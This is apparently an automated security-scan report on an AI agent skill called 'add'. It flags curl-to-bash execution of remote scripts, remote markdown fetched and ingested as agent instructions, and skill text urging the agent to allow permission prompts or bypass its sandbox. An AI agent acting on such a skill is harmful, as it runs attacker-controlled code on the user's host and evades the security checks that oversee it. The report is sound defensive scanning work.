add

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). The skill fetches remote content and, in fallback paths, directly pipes it to a shell (curl | bash), enabling arbitrary remote code execution and obvious supply-chain/remote-control abuse vectors.

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

• Third-party content exposure detected (high risk: 0.95). The workflow fetches remote, outsider-authored free text from a public served endpoint (curl ... "$B/capability/<matched-id>.md" and reads it as instructions), which would be ingested into the agent’s LLM context at runtime.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). The skill fetches docs and scripts from https://basic-anteater-667.convex.site (e.g., via curl "$B/capabilities.json", curl "$B/capability/.md", and curl ... | bash "$B/add-hosting" / "$B/add-component"), and those remote contents are used at runtime to control agent instructions and to execute code.

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 0.80). The skill tells the agent to fetch and execute remote scripts (curl | bash) and explicitly instructs to allow permission prompts or bypass sandboxing, which encourages circumventing security controls and executing arbitrary code on the host.